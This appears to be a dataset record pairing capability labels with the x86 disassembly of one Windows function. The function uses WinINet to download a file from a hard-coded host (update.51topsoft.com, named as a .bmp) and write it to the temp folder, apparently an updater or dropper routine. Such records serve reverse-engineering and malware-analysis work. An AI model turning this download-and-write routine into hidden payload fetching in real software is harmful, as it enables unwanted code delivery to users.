Function at 0x4031a0
Capabilities:
Create http request
Download and write a file
Get common file path
Get http content length
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov eax, 0x2194
call fcn.00403ef0
push ebx
push ebp
push esi
push edi
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x1a5]
mov byte [esp + 0x1a4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xd
mov esi, str.http:__update.51topsoft.com_ID003_P0002_06_22_20.bmp
lea edi, [esp + 0x68]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 7
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
mov byte [esp + 0x48], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x49]
mov byte [esp + 0x11a4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3ff
xor eax, eax
lea edi, [esp + 0x11a5]
mov ebp, 0x20
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xa0]
mov dword [esp + 0x14], ebp
push eax
push 0x104
mov dword [esp + 0x2c], 4
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edi, str.ID003_P0002_06_22_20.bmp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xa0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xa4]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call fcn.00403e9e
add esp, 8
cmp eax, 0xffffffff
jne 0x40345f
push 0
push 0
push 0
push 0
push str.HttpDownload
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x1c], ebx
je 0x403419
lea edi, [esp + 0x1a4]
or ecx, 0xffffffff
xor eax, eax
push 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push 2
push ecx
lea ecx, [esp + 0x1b0]
lea edx, [esp + 0x74]
push ecx
push edx
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
je 0x40343a
mov esi, dword [sym.imp.WININET.dll_HttpQueryInfoA]
lea eax, [esp + 0x14]
push 0
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0x13
push edi
call esi
test eax, eax
je 0x40343a
lea edx, [esp + 0x28]
push edx
call fcn.00403e93
mov ecx, eax
mov eax, 0x51eb851f
imul ecx
sar edx, 5
mov eax, edx
add esp, 4
shr eax, 0x1f
add edx, eax
cmp edx, 2
jne 0x40343a
lea ecx, [esp + 0x14]
push 0
lea edx, [esp + 0x4c]
push ecx
push edx
push 0x14
push edi
mov dword [esp + 0x28], ebp
call esi
test eax, eax
je 0x40343a
lea eax, [esp + 0x24]
push 0
lea ecx, [esp + 0x14]
push eax
push ecx
push 0x20000005
push edi
call esi
test eax, eax
je 0x40343a
xor ebp, ebp
lea edx, [esp + 0xa0]
push ebp
push 0x80
push 2
push ebp
push 1
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40343a
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x4033f1
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x11a4]
push eax
push 0x1000
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x403436
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x20]
push 0
push edx
lea ecx, [esp + 0x11ac]
push eax
push ecx
push esi
call ebx
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
sub eax, ecx
add ebp, ecx
test eax, eax
mov dword [esp + 0x10], eax
ja 0x4033a5
mov ebx, dword [esp + 0x1c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x403453
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2194
ret
mov edi, dword [esp + 0x20]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2194
ret
mov ebx, dword [esp + 0x1c]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2194
ret
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2194
ret